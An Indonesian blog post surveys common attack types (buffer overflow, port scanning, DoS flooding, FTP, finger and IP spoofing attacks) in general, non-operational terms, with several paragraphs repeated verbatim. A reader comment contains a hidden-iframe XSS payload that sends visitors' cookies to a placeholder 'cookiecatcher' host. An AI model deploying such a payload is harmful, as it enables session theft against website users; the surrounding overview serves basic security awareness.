Inilah Cara meretas Website yang digunakan Hacker
Sabtu, 09 Februari 2013
6
komentar
HTTPD Attacks Hack
Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd bypasses, cross scripting, web code vulnerabilities, dan URL floods.
HTTPD Buffer Overflow bisa terjadi karena hacker menambahkan errors pada port yang digunakan untuk web traffic dengan cara memasukan banyak carackter dan string untuk menemukan tempat overflow yang sesuai. Ketika tempat untuk overflow ditemukan, seorang hacker akan memasukkan string yang akan menjadi perintah yang dapat dieksekusi. Bufer-overflow dapat memberikan hacker akses ke command prompt.
TCP/IP Sequence Stealing Hack
Passive Port Listening and Packet
Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force, serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like.
Port Scanning Hack
Melalui port scanning seorang hacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi. Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack.
Selective Program Insertions Hack
Selective Program Insertions adalah serangan yang dilakukan ketika hacker menaruh program-program penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ?) pada system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan membuka backdoor.
Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force, serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like.
Port Scanning Hack
Melalui port scanning seorang hacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi. Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack.
Selective Program Insertions Hack
Selective Program Insertions adalah serangan yang dilakukan ketika hacker menaruh program-program penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ?) pada system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan membuka backdoor.
Remote File System Attack Hack
Protocol-protokol untuk tranportasi data –tulang punggung dari
internet— adalah tingkat TCP (TCPLevel) yang mempunyai kemampuan dengan
mekanisme untuk baca/tulis (read/write) Antara network dan host. hacker
bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk
mendapatkan akses ke direktori file.
Remote Command Processing Attacks
HackTrusted Relationship antara dua atau lebih host menyediakan fasilitas pertukaran informasi dan resource sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network). hacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang hacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya.
Proxy Server Attacks Hack
Salah satu fungsi Proxy server adalah untuk mempercepat waktu
response dengan cara menyatukan proses dari beberapa host dalam suatu
trusted network. Dalam kebanyakan kasus, tiap host mempunyai kekuasan
untuk membaca dan menulis (read/write) yang berarti apa yang bisa saya
lakukan dalam sistem saya akan bisa juga saya lakukan dalam system anda
dan sebaliknya.
Password Attacks Hack
Password merupakan sesuatu yang umum jika kita bicara tentang
kemanan. Kadang seorang user tidak perduli dengan nomor pin yang mereka
miliki, seperti bertransaksi online di warnet, bahkan bertransaksi
online dirumah pun sangat berbahaya jika tidak dilengkapi dengan
software security seperti SSL dan PGP. Password adalah salah satu
prosedur kemanan yang sangat sulit untuk diserang, seorang hacker
mungkin saja mempunyai banyak tools (secara teknik maupun dalam
kehidupan sosial) hanya untuk membuka sesuatu yang dilindungi oleh
password.
Ketika seorang hacker berhasil mendapatkan password yang dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan yang dilakukan terhadap password adalah menebak (guessing), brute force, kracking dan sniffing.
Ketika seorang hacker berhasil mendapatkan password yang dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan yang dilakukan terhadap password adalah menebak (guessing), brute force, kracking dan sniffing.
DNS and BIND Vulnerabilities Hack
Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang
aplikasi Barkeley Internet Name Domain (BIND) dalam berbagai versi
mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis
yang diarahkan pada operasi dasar dari Internet (basic internet
operation).
E-mail Exploits Hack
Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail
floods, manipulasi perintah (command manipulation), serangan tingkat
transportasi(transport level attack), memasukkan berbagai macam kode
(malicious code inserting) dan social engineering(memanfaatkan
sosialisasi secara fisik). Penyerangan email bisa membuat system menjadi
crash, membuka dan menulis ulang bahkan mengeksekusi file-file aplikasi
atau juga membuat akses ke fungsi fungsi perintah (command function).
Fragmented Packet Attacks Hack
Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi
lagi ke dalam paket-paket yang hanya mengandung paket pertama yang
isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa
firewall akan mengizinkan untuk memroses bagian dari paket-paket yang
tidak mengandung informasi alamat asal pada paket pertamanya, hal ini
akan mengakibatkan beberapa type system menjadi crash. Contohnya, server
NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet)
cukup untuk menulis ulang informasi paket pertama dari suatu protokol
Flooding & Broadcasting Hack
Seorang hacker bisa menguarangi kecepatan network dan host-host yang
berada di dalamnya secara significant dengan cara terus melakukan
request/permintaan terhadap suatu informasi dari sever yang bisa
menangani serangan classic Denial Of Service(Dos), mengirim request ke
satu port secara berlebihan dinamakan flooding, kadang hal ini juga
disebut spraying. Ketika permintaan flood ini dikirim ke semua station
yang berada dalam network serangan ini dinamakn broadcasting. Tujuan
dari kedua serangan ini adalah sama yaitu membuat network resource yang
menyediakan informasi menjadi lemah dan akhirnya menyerah.
Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or volume). Seorang hacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan.
Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or volume). Seorang hacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan.
Unix Finger Exploits Hack
Pada masa awal internet, Unix OS finger utility digunakan secara
efficient untuk men sharing informasi diantara pengguna. Karena
permintaan informasi terhadap informasi finger ini tidak menyalahkan
peraturan, kebanyakan system Administrator meninggalkan utility ini
(finger) dengan keamanan yang sangat minim, bahkan tanpa kemanan sama
sekali. Bagi seorang hacker utility ini sangat berharga untuk melakukan
informasi tentang footprinting, termasuk nama login dan informasi
contact.
Utility ini juga menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada dalam sistem dan seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha kracker dalam menembus sebuah sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk memanfaatkan user agar ‘memberitahu’ password dan kode akses terhadap system.
FTP Attack HackUtility ini juga menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada dalam sistem dan seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha kracker dalam menembus sebuah sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk memanfaatkan user agar ‘memberitahu’ password dan kode akses terhadap system.
Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk mendapatkan command shell ataupun untuk melakukan Denial Of Service. Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau hacker untuk mengambil resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang hacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang hacker bisa membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang diserang.
Sebagai contoh adalah FTP server yang populer di keluarga UNIX yaitu WU-FTPD yang selalu di upgrade dua kali dalam sehari untuk memperbaiki kondisi yang mengizinkan terjadinya bufferoverflow Mengexploitasi FTP juga berguna untuk mengetahui password yang terdapat dalam sistem, FTP Bounce attack (menggunakan server ftp orang lain untuk melakukan serangan), dan mengetahui atau mensniff informasi yang berada dalam sistem.
IP Spoofing Hack
IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP hacker sehingga sasaran menganggap alamat IP hacker adalah alamat IP dari host di dalam network bukan dari luar network. Misalkan hacker mempunyai IP address type A 66.25.xx.xx ketika hacker melakukan serangan jenis ini maka Network yang diserang akan menganggap IP hacker adalah bagian dari Networknya misal 192.xx.xx.xx yaitu IP type C.
IP Spoofing terjadi ketika seorang hacker ‘mengakali’ packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk routing biasanya di transmisikan secara transparan dan jelas sehingga membuat hacker dengan mudah untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh hacker tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para hacker.
sumber : http://irsyad32.wordpress.com/2012/12/04/cara-hacker-meng-hack-website/
TERIMA KASIH ATAS KUNJUNGAN SAUDARA
Judul: Inilah Cara meretas Website yang digunakan Hacker
Ditulis oleh Sepercik Tinta
Rating Blog 5 dari 5
Semoga artikel ini bermanfaat bagi saudara. Jika ingin mengutip, baik itu sebagian atau keseluruhan dari isi artikel ini harap menyertakan link dofollow ke http://seperciktinta.blogspot.com/2013/02/inilah-cara-meretas-website-oleh-hacker.html. Terima kasih sudah singgah membaca artikel ini.Ditulis oleh Sepercik Tinta
Rating Blog 5 dari 5
6 komentar:
sip..! makasih bnyak gan atas info nya...! sangat bermanfaat sekali..!
mntep ni
nice info gan, belajar cara hacking untuk mengantisipasinya, thanks
good luck, thanks you very must.
<iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe>
kita janganlah melaksanakan kegiatan yang melanggar aturan, tapi untuk informasi bagai mana mereka melakukan cara peretasan tersebut sebagai bekal kita agar waspada, makasih infonya
Posting Komentar